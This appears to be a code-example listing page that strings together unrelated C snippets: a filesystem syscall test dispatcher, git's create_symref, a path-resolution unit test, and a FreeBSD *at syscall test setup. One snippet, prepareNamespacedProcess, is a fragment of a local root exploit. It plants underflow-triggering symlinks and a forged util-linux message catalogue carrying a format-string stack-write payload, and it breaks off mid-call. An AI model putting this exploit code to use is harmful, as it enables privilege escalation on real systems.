		if (flags & O_CREAT) {
			if (i == 2) {
				fprintf(stderr, "too few arguments\n");
				exit(1);
			}
			rval = open(STR(0), (int)flags, (mode_t)NUM(2));
		} else {
			if (i == 3) {
				fprintf(stderr, "too many arguments\n");
				exit(1);
			}
			rval = open(STR(0), (int)flags);
		}
		if (rval >= 0)
			descriptor_add(rval);
		break;
	case ACTION_OPENAT:
		flags = str2flags(open_flags, STR(2));
		if (flags & O_CREAT) {
			if (i == 3) {
				fprintf(stderr, "too few arguments\n");
				exit(1);
			}
			rval = openat(NUM(0), STR(1), (int)flags,
			    (mode_t)NUM(3));
		} else {
			if (i == 4) {
				fprintf(stderr, "too many arguments\n");
				exit(1);
			}
			rval = openat(NUM(0), STR(1), (int)flags);
		}
		if (rval >= 0)
			descriptor_add(rval);
		break;
	case ACTION_CREATE:
		rval = open(STR(0), O_CREAT | O_EXCL, (mode_t)NUM(1));
		if (rval >= 0)
			close(rval);
		break;
	case ACTION_UNLINK:
		rval = unlink(STR(0));
		break;
	case ACTION_UNLINKAT:
		rval = unlinkat(NUM(0), STR(1),
		    (int)str2flags(unlinkat_flags, STR(2)));
		break;
	case ACTION_MKDIR:
		rval = mkdir(STR(0), (mode_t)NUM(1));
		break;
	case ACTION_MKDIRAT:
		rval = mkdirat(NUM(0), STR(1), (mode_t)NUM(2));
		break;
	case ACTION_RMDIR:
		rval = rmdir(STR(0));
		break;
	case ACTION_LINK:
		rval = link(STR(0), STR(1));
		break;
	case ACTION_LINKAT:
		rval = linkat(NUM(0), STR(1), NUM(2), STR(3),
		    (int)str2flags(linkat_flags, STR(4)));
		break;
	case ACTION_SYMLINK:
		rval = symlink(STR(0), STR(1));
		break;
	case ACTION_SYMLINKAT:
		rval = symlinkat(STR(0), NUM(1), STR(2));
		break;
	case ACTION_RENAME:
		rval = rename(STR(0), STR(1));
		break;
	case ACTION_RENAMEAT:
		rval = renameat(NUM(0), STR(1), NUM(2), STR(3));
		break;
	case ACTION_MKFIFO:
		rval = mkfifo(STR(0), (mode_t)NUM(1));
		break;
	case ACTION_MKFIFOAT:
		rval = mkfifoat(NUM(0), STR(1), (mode_t)NUM(2));
		break;
	case ACTION_MKNOD:
	case ACTION_MKNODAT:
	    {
		mode_t ntype;
		dev_t dev;
		int fa;

		switch (scall->sd_action) {
		case ACTION_MKNOD:
			fa = 0;
			break;
		case ACTION_MKNODAT:
			fa = 1;
			break;
		default:
			abort();
		}

		dev = makedev(NUM(fa + 3), NUM(fa + 4));
		if (strcmp(STR(fa + 1), "c") == 0)	/* character device */
			ntype = S_IFCHR;
		else if (strcmp(STR(fa + 1), "b") == 0)	/* block device */
			ntype = S_IFBLK;
		else if (strcmp(STR(fa + 1), "f") == 0)	/* fifo special */
			ntype = S_IFIFO;
		else if (strcmp(STR(fa + 1), "d") == 0)	/* directory */
			ntype = S_IFDIR;
		else if (strcmp(STR(fa + 1), "o") == 0)	/* regular file */
			ntype = S_IFREG;
		else {
			fprintf(stderr, "wrong argument 1\n");
			exit(1);
		}
		switch (scall->sd_action) {
		case ACTION_MKNOD:
			rval = mknod(STR(0), ntype | NUM(2), dev);
			break;
		case ACTION_MKNODAT:
			rval = mknodat(NUM(0), STR(1), ntype | NUM(3), dev);
			break;
		default:
			abort();
		}
		break;
	    }
	case ACTION_BIND:
	    {
		struct sockaddr_un sunx;

		sunx.sun_family = AF_UNIX;
		strncpy(sunx.sun_path, STR(0), sizeof(sunx.sun_path) - 1);
		sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0';
		rval = socket(AF_UNIX, SOCK_STREAM, 0);
		if (rval < 0)
			break;
		rval = bind(rval, (struct sockaddr *)&sunx, sizeof(sunx));
		break;
	    }
#ifdef HAS_BINDAT
	case ACTION_BINDAT:
	    {
		struct sockaddr_un sunx;

		sunx.sun_family = AF_UNIX;
		strncpy(sunx.sun_path, STR(1), sizeof(sunx.sun_path) - 1);
		sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0';
		rval = socket(AF_UNIX, SOCK_STREAM, 0);
		if (rval < 0)
			break;
		rval = bindat(NUM(0), rval, (struct sockaddr *)&sunx,
		    sizeof(sunx));
		break;
	    }
#endif
	case ACTION_CONNECT:
	    {
		struct sockaddr_un sunx;

		sunx.sun_family = AF_UNIX;
		strncpy(sunx.sun_path, STR(0), sizeof(sunx.sun_path) - 1);
		sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0';
		rval = socket(AF_UNIX, SOCK_STREAM, 0);
		if (rval < 0)
			break;
		rval = connect(rval, (struct sockaddr *)&sunx, sizeof(sunx));
		break;
	    }
#ifdef HAS_CONNECTAT
	case ACTION_CONNECTAT:
	    {
		struct sockaddr_un sunx;

		sunx.sun_family = AF_UNIX;
		strncpy(sunx.sun_path, STR(1), sizeof(sunx.sun_path) - 1);
		sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0';
		rval = socket(AF_UNIX, SOCK_STREAM, 0);
		if (rval < 0)
			break;
		rval = connectat(NUM(0), rval, (struct sockaddr *)&sunx,
		    sizeof(sunx));
		break;
	    }
#endif
	case ACTION_CHMOD:
		rval = chmod(STR(0), (mode_t)NUM(1));
		break;
	case ACTION_FCHMOD:
		rval = fchmod(NUM(0), (mode_t)NUM(1));
		break;
#ifdef HAS_LCHMOD
	case ACTION_LCHMOD:
		rval = lchmod(STR(0), (mode_t)NUM(1));
		break;
#endif
	case ACTION_FCHMODAT:
		rval = fchmodat(NUM(0), STR(1), (mode_t)NUM(2),
		    str2flags(fchmodat_flags, STR(3)));
		break;
	case ACTION_CHOWN:
		rval = chown(STR(0), (uid_t)NUM(1), (gid_t)NUM(2));
		break;
	case ACTION_FCHOWN:
		rval = fchown(NUM(0), (uid_t)NUM(1), (gid_t)NUM(2));
		break;
	case ACTION_LCHOWN:
		rval = lchown(STR(0), (uid_t)NUM(1), (gid_t)NUM(2));
		break;
	case ACTION_FCHOWNAT:
		rval = fchownat(NUM(0), STR(1), (uid_t)NUM(2), (gid_t)NUM(3),
		    (int)str2flags(fchownat_flags, STR(4)));
		break;
#ifdef HAS_CHFLAGS
	case ACTION_CHFLAGS:
		rval = chflags(STR(0),
		    (unsigned long)str2flags(chflags_flags, STR(1)));
		break;
#endif
#ifdef HAS_FCHFLAGS
	case ACTION_FCHFLAGS:
		rval = fchflags(NUM(0),
		    (unsigned long)str2flags(chflags_flags, STR(1)));
		break;
#endif
#ifdef HAS_CHFLAGSAT
	case ACTION_CHFLAGSAT:
		rval = chflagsat(NUM(0), STR(1),
		    (unsigned long)str2flags(chflags_flags, STR(2)),
		    (int)str2flags(chflagsat_flags, STR(3)));
		break;
#endif
#ifdef HAS_LCHFLAGS
	case ACTION_LCHFLAGS:
		rval = lchflags(STR(0),
		    (unsigned long)str2flags(chflags_flags, STR(1)));
		break;
#endif
	case ACTION_TRUNCATE:
		rval = truncate64(STR(0), NUM(1));
		break;
	case ACTION_FTRUNCATE:
		rval = ftruncate64(NUM(0), NUM(1));
		break;
	case ACTION_STAT:
		rval = stat64(STR(0), &sb);
		if (rval == 0) {
			show_stats(&sb, STR(1));
			return (i);
		}
		break;
	case ACTION_FSTAT:
		rval = fstat64(NUM(0), &sb);
		if (rval == 0) {
			show_stats(&sb, STR(1));
			return (i);
		}
		break;
	case ACTION_LSTAT:
		rval = lstat64(STR(0), &sb);
		if (rval == 0) {
			show_stats(&sb, STR(1));
			return (i);
		}
		break;
	case ACTION_FSTATAT:
		rval = fstatat(NUM(0), STR(1), &sb,
		    (int)str2flags(fstatat_flags, STR(2)));
		if (rval == 0) {
			show_stats(&sb, STR(3));
			return (i);
		}
		break;
	case ACTION_PATHCONF:
	case ACTION_FPATHCONF:
	case ACTION_LPATHCONF:
	    {
		long lrval;

		name = str2name(pathconf_names, STR(1));
		if (name == -1) {
			fprintf(stderr, "unknown name %s", STR(1));
			exit(1);
		}
		errno = 0;
		switch (scall->sd_action) {
		case ACTION_PATHCONF:
			lrval = pathconf(STR(0), name);
			break;
		case ACTION_FPATHCONF:
			lrval = fpathconf(NUM(0), name);
			break;
		case ACTION_LPATHCONF:
			lrval = lpathconf(STR(0), name);
			break;
		default:
			abort();
		}
		if (lrval == -1 && errno == 0) {
			printf("unlimited\n");
			return (i);
		} else if (lrval >= 0) {
			printf("%ld\n", lrval);
			return (i);
		}
		rval = -1;
		break;
	    }
#ifdef HAS_FREEBSD_ACL
	case ACTION_PREPENDACL:
		rval = -1;

		acl = acl_get_file(STR(0), ACL_TYPE_NFS4);
		if (acl == NULL)
			break;

		newacl = acl_from_text(STR(1));
		if (acl == NULL)
			break;

		while (acl_get_entry(newacl, entry_id, &newentry) == 1) {
			entry_id = ACL_NEXT_ENTRY;

			if (acl_create_entry_np(&acl, &entry, 0))
				break;

			if (acl_copy_entry(entry, newentry))
				break;
		}

		rval = acl_set_file(STR(0), ACL_TYPE_NFS4, acl);
		break;
	case ACTION_READACL:
		acl = acl_get_file(STR(0), ACL_TYPE_NFS4);
		if (acl == NULL)
			rval = -1;
		else
			rval = 0;
		break;
#endif
	case ACTION_WRITE:
		rval = write(NUM(0), STR(1), strlen(STR(1)));
		break;
	default:
		fprintf(stderr, "unsupported syscall\n");
		exit(1);
	}
#undef STR
#undef NUM
	if (rval < 0) {
		const char *serrno;

		serrno = err2str(errno);
		fprintf(stderr, "%s returned %d\n", scall->sd_name, rval);
		printf("%s\n", serrno);
		exit(1);
	}
	printf("0\n");
	return (i);
}
コード例 #26
0
ファイル: refs.c プロジェクト: atispor/git
int create_symref(const char *ref_target, const char *refs_heads_master,
		  const char *logmsg)
{
	const char *lockpath;
	char ref[1000];
	int fd, len, written;
	char *git_HEAD = git_pathdup("%s", ref_target);
	unsigned char old_sha1[20], new_sha1[20];

	if (logmsg && read_ref(ref_target, old_sha1))
		hashclr(old_sha1);

	if (safe_create_leading_directories(git_HEAD) < 0)
		return error("unable to create directory for %s", git_HEAD);

#ifndef NO_SYMLINK_HEAD
	if (prefer_symlink_refs) {
		unlink(git_HEAD);
		if (!symlink(refs_heads_master, git_HEAD))
			goto done;
		fprintf(stderr, "no symlink - falling back to symbolic ref\n");
	}
#endif

	len = snprintf(ref, sizeof(ref), "ref: %s\n", refs_heads_master);
	if (sizeof(ref) <= len) {
		error("refname too long: %s", refs_heads_master);
		goto error_free_return;
	}
	lockpath = mkpath("%s.lock", git_HEAD);
	fd = open(lockpath, O_CREAT | O_EXCL | O_WRONLY, 0666);
	if (fd < 0) {
		error("Unable to open %s for writing", lockpath);
		goto error_free_return;
	}
	written = write_in_full(fd, ref, len);
	if (close(fd) != 0 || written != len) {
		error("Unable to write to %s", lockpath);
		goto error_unlink_return;
	}
	if (rename(lockpath, git_HEAD) < 0) {
		error("Unable to create %s", git_HEAD);
		goto error_unlink_return;
	}
	if (adjust_shared_perm(git_HEAD)) {
		error("Unable to fix permissions on %s", lockpath);
	error_unlink_return:
		unlink_or_warn(lockpath);
	error_free_return:
		free(git_HEAD);
		return -1;
	}

#ifndef NO_SYMLINK_HEAD
	done:
#endif
	if (logmsg && !read_ref(refs_heads_master, new_sha1))
		log_ref_write(ref_target, old_sha1, new_sha1, logmsg);

	free(git_HEAD);
	return 0;
}
コード例 #27
0
ファイル: util_test.c プロジェクト: 01org/cc-oci-runtime
} END_TEST

/*
 * TODO:
 *
 * We should really explore maximum paths values:
 *
 * - absolute maximum: PATH_MAX
 * - relative maximum: _POSIX_PATH_MAX
 * - pathconf(3)
 */
START_TEST(test_cc_oci_resolve_path) {
	gchar *tmpdir;
	gchar *file;
	gchar *slink;
	gchar *path;
	const char *d = NULL;

	tmpdir = g_dir_make_tmp (NULL, NULL);
	ck_assert (tmpdir);

	file = g_build_path ("/", tmpdir, "foo", NULL);
	ck_assert (file);

	slink = g_build_path ("/", tmpdir, "symlink", NULL);
	ck_assert (slink);

	/* create a symlink */
	ck_assert (! symlink (file, slink));

	ck_assert (! cc_oci_resolve_path (NULL));
	ck_assert (! cc_oci_resolve_path (""));
	ck_assert (! cc_oci_resolve_path ("not a path"));
	ck_assert (! cc_oci_resolve_path ("/does/not/exist"));

	/*******************************/
	/* check a known valid path */

	d = g_get_tmp_dir ();
	ck_assert (d);

	path = cc_oci_resolve_path (d);
	ck_assert (path);
	ck_assert (! g_strcmp0 (path, d));
	g_free (path);

	/*******************************/
	/* file doesn't exist */

	path = cc_oci_resolve_path (file);
	ck_assert (! path);

	/*******************************/
	/* create valid file */

	ck_assert (g_file_set_contents (file, "", -1, NULL));

	path = cc_oci_resolve_path (file);
	ck_assert (path);
	ck_assert (! g_strcmp0 (path, file));
	g_free (path);

	/*******************************/
	/* check a broken symlink */

	/* break the symlink by removing the file it points to */
	ck_assert (! g_remove (file));

	path = cc_oci_resolve_path (slink);
	ck_assert (! path);

	/*******************************/
	/* check a valid symlink */

	/* re create the file */
	ck_assert (g_file_set_contents (file, "", -1, NULL));

	path = cc_oci_resolve_path (slink);
	ck_assert (path);

	ck_assert (! g_strcmp0 (path, file));
	g_free (path);

	/* clean up */
	ck_assert (! g_remove (file));
	ck_assert (! g_remove (slink));
	ck_assert (! g_remove (tmpdir));
	g_free (tmpdir);
	g_free (file);
	g_free (slink);

} END_TEST
コード例 #28
0
/** Prepare a process living in an own mount namespace and setup
 *  the mount structure appropriately. The process is created
 *  in a way allowing cleanup at program end by just killing it,
 *  thus removing the namespace.
 *  @return the pid of that process or -1 on error.
 */
pid_t prepareNamespacedProcess() {
  if(namespacedProcessPid==-1) {
    fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");

    char *stackData=(char*)malloc(1<<20);
    assert(stackData);
    namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
        CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
    if(namespacedProcessPid==-1) {
      fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
      return(-1);
    }

    char idMapFileName[128];
    char idMapData[128];
    sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
    int setGroupsFd=open(idMapFileName, O_WRONLY);
    assert(setGroupsFd>=0);
    int result=write(setGroupsFd, "deny", 4);
    assert(result>0);
    close(setGroupsFd);

    sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
    int uidMapFd=open(idMapFileName, O_WRONLY);
    assert(uidMapFd>=0);
    sprintf(idMapData, "0 %d 1\n", getuid());
    result=write(uidMapFd, idMapData, strlen(idMapData));
    assert(result>0);
    close(uidMapFd);

    sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
    int gidMapFd=open(idMapFileName, O_WRONLY);
    assert(gidMapFd>=0);
    sprintf(idMapData, "0 %d 1\n", getgid());
    result=write(gidMapFd, idMapData, strlen(idMapData));
    assert(result>0);
    close(gidMapFd);

// After setting the maps for the child process, the child may
// start setting up the mount point. Wait for that to complete.
    sleep(1);
    fprintf(stderr, "Namespaced filesystem created with pid %d\n",
        namespacedProcessPid);
  }

  osReleaseExploitData=osSpecificExploitDataList;
  if(osRelease) {
// If an OS was detected, try to find it in list. Otherwise use
// default.
    for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
      if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
        osReleaseExploitData=osSpecificExploitDataList+tPos;
        break;
      }
    }
  }

  char pathBuffer[PATH_MAX];
  int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
     namespacedProcessPid);
  assert(result<PATH_MAX);
  char *namespaceMountBaseDir=strdup(pathBuffer);
  assert(namespaceMountBaseDir);

// Create directories needed for umount to proceed to final state
// "not mounted".
  createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
  assert(result<PATH_MAX);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);

// Create symlink to trigger underflows.
  result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
      namespaceMountBaseDir);
  assert(result<PATH_MAX);
  result=symlink(osReleaseExploitData[1], pathBuffer);
  assert(!result||(errno==EEXIST));

// getdate will leave that string in rdi to become the filename
// to execute for the next round.
  char *selfPathName=realpath("/proc/self/exe", NULL);
  result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
      namespaceMountBaseDir);
  assert(result<PATH_MAX);
  int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
  assert(handle>0);
  result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
      selfPathName);
  assert(result<PATH_MAX);
  result=write(handle, pathBuffer, result);
  close(handle);
  free(selfPathName);

// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  assert(result<PATH_MAX);

  char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
  assert(stackDumpStr);
  char *stackDumpStrEnd=stackDumpStr;
  stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
      ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
  for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
    memcpy(stackDumpStrEnd, "%016lx", 6);
    stackDumpStrEnd+=6;
  }
// We wrote allready 8 bytes, write so many more to produce a
// count of 'L' and write that to the stack. As all writes so
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
// to write at least 4 bytes, which is longer than any "%hhx"
// format string output. Hence do not care about the byte content
// here. The target write address has a 16 byte alignment due
// to varg structure.
  stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
      ('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
      STACK_LONG_DUMP_BYTES/16);
  *stackDumpStrEnd=0;
  result=writeMessageCatalogue(pathBuffer,
      (char*[]){
          "%s: mountpoint not found",
          "%s: not mounted",
          "%s: target is busy\n        (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
      },
コード例 #29
0
void
setup(void)
{
	int i, error;
	struct stat sb;
	size_t len;

	tests = calloc(NUM_OF_TESTS + 1, sizeof(struct test));
	if (tests == NULL) {
		perror("");
		exit(0);		
	}

	absolute_path = (char *)getcwd(NULL, 0);
	if (absolute_path == NULL) {
		perror("getcwd");
		exit(0);
	}

	len = strlen(absolute_path);
	absolute_path = realloc(absolute_path,
	    len + 1 + strlen(relative_path) + 1);
	if (absolute_path == NULL) {
		perror("realloc");
		exit(0);
	}

	absolute_path[len] = '/';
	strcpy(absolute_path + len + 1, relative_path);

	absolute_file = malloc(strlen(absolute_path) + 1 + strlen(file));
	bzero(absolute_file, strlen(absolute_path) + 1 + strlen(file));
	if (absolute_file == NULL) {
		perror("malloc");
		exit(0);
	}
	strcpy(absolute_file, absolute_path);
	absolute_file[strlen(absolute_file)] = '/';
	strcpy(absolute_file + strlen(absolute_path), file);

	relative_file = malloc(strlen(relative_path) + 1 + strlen(file));
	bzero(relative_file, strlen(relative_path) + 1 + strlen(file));
	if (relative_file == NULL) {
		perror("malloc");
		exit(0);
	}
	strcpy(relative_file, relative_path);
	relative_file[strlen(relative_file)] = '/';
	strcpy(relative_file + strlen(relative_path), file);

	error = mkdir(relative_path, 0700);
	dir_exist = (errno == EEXIST);
	if (error && errno != EEXIST) {
		perror("tmp");
		exit(0);
	}

	error = stat("tmp/foo", &sb);
	file_exist = (errno != ENOENT);
	i = open("tmp/foo", O_RDONLY | O_CREAT, 0666);
	if (i == -1) {
		perror("foo");
		exit(0);
	}

	rel_fd = open(relative_path, O_RDONLY);
	if (rel_fd == -1) {
		perror("relative path");
		exit(0);
	}

	abs_fd = open(absolute_path, O_RDONLY);
	if (abs_fd == -1) {
		perror("absolute path");
		exit(0);
	}

	notd_fd = open(not_dir_path, O_RDONLY);
	if (notd_fd == -1) {
		perror("not a directory");
		exit(0);
	}

	exec_fd = open(not_dir_path, O_RDONLY);
	if (exec_fd == -1) {
		perror("not a directory");
		exit(0);
	}

	error = symlink(absolute_file, symlinkf);
	link_exist = (errno == EEXIST);
	if (error && errno != EEXIST) {
		perror("symlink");
		exit(0);
	}
	
	/* faccessat */
	tests[0].syscall = SYS_faccessat;
	tests[0].num_of_cases = 6;
	tests[0].name = "faccessat";
	tests[0].tests[0].result = EBADF;
	tests[0].tests[0].params[0].i = 106;	/* invalid fd */
	tests[0].tests[0].params[1].cp = relative_path;
	tests[0].tests[0].params[2].m = 0;
	tests[0].tests[0].params[3].i = 0;
	tests[0].tests[1].result = EBADF;
	tests[0].tests[1].params[0].i = 106;	/* invalid fd */
	tests[0].tests[1].params[1].cp = relative_path;
	tests[0].tests[1].params[2].m = 0;
	tests[0].tests[1].params[3].i = AT_EACCESS;
	tests[0].tests[2].result = EINVAL;
	tests[0].tests[2].params[0].i = rel_fd;
	tests[0].tests[2].params[1].cp = absolute_path;
	tests[0].tests[2].params[2].m = 0;
	tests[0].tests[2].params[3].i = 123;	/* invalid flag */
	tests[0].tests[3].result = ENOTDIR;
	tests[0].tests[3].params[0].i = notd_fd;
	tests[0].tests[3].params[1].cp = relative_file;
	tests[0].tests[3].params[2].m = 0;
	tests[0].tests[3].params[3].i = 0;
	tests[0].tests[4].result = 0;
	tests[0].tests[4].params[0].i = rel_fd;
	tests[0].tests[4].params[1].cp = file;
	tests[0].tests[4].params[2].m = 0;
	tests[0].tests[4].params[3].i = 0;
	tests[0].tests[5].result = 0;
	tests[0].tests[5].params[0].i = rel_fd;
	tests[0].tests[5].params[1].cp = file;
	tests[0].tests[5].params[2].m = 0;
	tests[0].tests[5].params[3].i = AT_EACCESS;
	tests[0].tests[6].result = 0;
	tests[0].tests[6].params[0].i = 106;	/* invalid fd */
	tests[0].tests[6].params[1].cp = absolute_path;
	tests[0].tests[6].params[2].m = 0;
	tests[0].tests[6].params[3].i = 0;

	/* fchmodat */
	tests[1].syscall = SYS_fchmodat;
	tests[1].num_of_cases = 6;
	tests[1].name = "fchmodat";
	tests[1].tests[0].result = EBADF;
	tests[1].tests[0].params[0].i = 106;	/* invalid fd */
	tests[1].tests[0].params[1].cp = relative_path;
	tests[1].tests[0].params[2].m = 33190;
	tests[1].tests[0].params[3].i = 0;
	tests[1].tests[1].result = EINVAL;
	tests[1].tests[1].params[0].i = rel_fd;
	tests[1].tests[1].params[1].cp = absolute_path;
	tests[1].tests[1].params[2].m = 33190;	/* mode 646 translated */
	tests[1].tests[1].params[3].i = 123;	/* invalid flag */
	tests[1].tests[2].result = ENOTDIR;
	tests[1].tests[2].params[0].i = notd_fd;
	tests[1].tests[2].params[1].cp = relative_file;
	tests[1].tests[2].params[2].m = 33190;
	tests[1].tests[2].params[3].i = 0;
	tests[1].tests[3].result = 0;
	tests[1].tests[3].params[0].i = notd_fd;
	tests[1].tests[3].params[1].cp = absolute_file;
	tests[1].tests[3].params[2].m = 33190;
	tests[1].tests[3].params[3].i = 0;
	tests[1].tests[4].result = 0;
	tests[1].tests[4].params[0].i = AT_FDCWD;
	tests[1].tests[4].params[1].cp = symlinkf;
	tests[1].tests[4].params[2].m = 33190;
	tests[1].tests[4].params[3].i = AT_SYMLINK_NOFOLLOW;
	tests[1].tests[5].result = 0;
	tests[1].tests[5].params[0].i = rel_fd;
	tests[1].tests[5].params[1].cp = file;
	tests[1].tests[5].params[2].m = 33190;
	tests[1].tests[5].params[3].i = 0;

	/* fchownat */
	tests[2].syscall = SYS_fchownat;
	tests[2].num_of_cases = 6;
	tests[2].name = "fchownat";
	tests[2].tests[0].result = EBADF;
	tests[2].tests[0].params[0].i = 106;	/* invalid fd */
	tests[2].tests[0].params[1].cp = relative_file;
	tests[2].tests[0].params[2].u = 65534;
	tests[2].tests[0].params[3].g = 65534;
	tests[2].tests[0].params[4].i = 0;
	tests[2].tests[1].result = EINVAL;
	tests[2].tests[1].params[0].i = rel_fd;
	tests[2].tests[1].params[1].cp = file;
	tests[2].tests[1].params[2].u = 65534;
	tests[2].tests[1].params[3].g = 65534;
	tests[2].tests[1].params[4].i = 123;	/* invalid flag */
	tests[2].tests[2].result = ENOTDIR;
	tests[2].tests[2].params[0].i = notd_fd;
	tests[2].tests[2].params[1].cp = relative_file;
	tests[2].tests[2].params[2].u = 65534;
	tests[2].tests[2].params[3].g = 65534;
	tests[2].tests[2].params[4].i = 0;
	tests[2].tests[3].result = 0;
	tests[2].tests[3].params[0].i = notd_fd;
	tests[2].tests[3].params[1].cp = absolute_file;
	tests[2].tests[3].params[2].u = 65534;
	tests[2].tests[3].params[3].g = 65534;
	tests[2].tests[3].params[4].i = 0;
	tests[2].tests[4].result = 0;
	tests[2].tests[4].params[0].i = AT_FDCWD;
	tests[2].tests[4].params[1].cp = symlinkf;
	tests[2].tests[4].params[2].u = 65534;
	tests[2].tests[4].params[3].g = 65534;
	tests[2].tests[4].params[4].i = AT_SYMLINK_NOFOLLOW;
	tests[2].tests[5].result = 0;
	tests[2].tests[5].params[0].i = rel_fd;
	tests[2].tests[5].params[1].cp = file;
	tests[2].tests[5].params[2].u = 0;
	tests[2].tests[5].params[3].g = 0;
	tests[2].tests[5].params[4].i = 0;

	/* fstatat */
	tests[3].syscall = SYS_fstatat;
	tests[3].num_of_cases = 5;
	tests[3].name = "fstatat";
	tests[3].tests[0].result = EBADF;
	tests[3].tests[0].params[0].i = 106;	/* invalid fd */
	tests[3].tests[0].params[1].cp = relative_file;
	tests[3].tests[0].params[2].vp = &buf;
	tests[3].tests[0].params[3].i = 0;
	tests[3].tests[1].result = EINVAL;
	tests[3].tests[1].params[0].i = rel_fd;
	tests[3].tests[1].params[1].cp = relative_file;
	tests[3].tests[1].params[2].vp = &buf;
	tests[3].tests[1].params[3].i = 123;	/* invalid flags */
	tests[3].tests[2].result = ENOTDIR;
	tests[3].tests[2].params[0].i = notd_fd;
	tests[3].tests[2].params[1].cp = relative_file;
	tests[3].tests[2].params[2].vp = &buf;
	tests[3].tests[2].params[3].i = 0;
	tests[3].tests[2].result = 0; 
	tests[3].tests[2].params[0].i = rel_fd;
	tests[3].tests[2].params[1].cp = file;
	tests[3].tests[2].params[2].vp = &buf;
	tests[3].tests[2].params[3].i = 0;
	tests[3].tests[3].result = 0; 
	tests[3].tests[3].params[0].i = AT_FDCWD;
	tests[3].tests[3].params[1].cp = symlinkf;
	tests[3].tests[3].params[2].vp = &buf;
	tests[3].tests[3].params[3].i = AT_SYMLINK_NOFOLLOW;
	tests[3].tests[4].result = 0; 
	tests[3].tests[4].params[0].i = notd_fd;
	tests[3].tests[4].params[1].cp = absolute_file;
	tests[3].tests[4].params[2].vp = &buf;
	tests[3].tests[4].params[3].i = 0;

	/* futimesat */
	tests[4].syscall = SYS_futimesat;
	tests[4].num_of_cases = 4;
	tests[4].name = "futimesat";
	tests[4].tests[0].result = EBADF;
	tests[4].tests[0].params[0].i = 106;	/* invalid fd */
	tests[4].tests[0].params[1].cp = relative_file;
	tests[4].tests[0].params[2].vp = times;
	tests[4].tests[1].result = ENOTDIR;
	tests[4].tests[1].params[0].i = notd_fd;
	tests[4].tests[1].params[1].cp = relative_file;
	tests[4].tests[1].params[2].vp = times;
	tests[4].tests[2].result = 0;
	tests[4].tests[2].params[0].i = rel_fd;
	tests[4].tests[2].params[1].cp = file;
	tests[4].tests[2].params[2].vp = times;
	tests[4].tests[3].result = 0;
	tests[4].tests[3].params[0].i = notd_fd;
	tests[4].tests[3].params[1].cp = absolute_file;
	tests[4].tests[3].params[2].vp = times;

	/* linkat */
	tests[5].syscall = SYS_linkat;
	tests[5].num_of_cases = 7;
	tests[5].name = "linkat";
	tests[5].tests[0].result = EBADF;
	tests[5].tests[0].params[0].i = 106;	/* invalid fd */
	tests[5].tests[0].params[1].cp = relative_file;
	tests[5].tests[0].params[2].i = AT_FDCWD;
	tests[5].tests[0].params[3].cp = newlink;
	tests[5].tests[0].params[4].i = 0;
	tests[5].tests[1].result = EBADF;
	tests[5].tests[1].params[0].i = AT_FDCWD;
	tests[5].tests[1].params[1].cp = relative_file;
	tests[5].tests[1].params[2].i = 106;	/* invalid fd */
	tests[5].tests[1].params[3].cp = newlink;
	tests[5].tests[1].params[4].i = 0;
	tests[5].tests[2].result = EINVAL;
	tests[5].tests[2].params[0].i = rel_fd;
	tests[5].tests[2].params[1].cp = relative_file;
	tests[5].tests[2].params[2].i = AT_FDCWD;
	tests[5].tests[2].params[3].cp = newlink;
	tests[5].tests[2].params[4].i = 123;	/* invalid flag */
	tests[5].tests[3].result = ENOTDIR;
	tests[5].tests[3].params[0].i = notd_fd;
	tests[5].tests[3].params[1].cp = relative_file;
	tests[5].tests[3].params[2].i = AT_FDCWD;
	tests[5].tests[3].params[3].cp = newlink;
	tests[5].tests[3].params[4].i = 0;
	tests[5].tests[4].result = 0;
	tests[5].tests[4].params[0].i = rel_fd;
	tests[5].tests[4].params[1].cp = file;
	tests[5].tests[4].params[2].i = rel_fd;
	tests[5].tests[4].params[3].cp = newlink;
	tests[5].tests[4].params[4].i = 0;
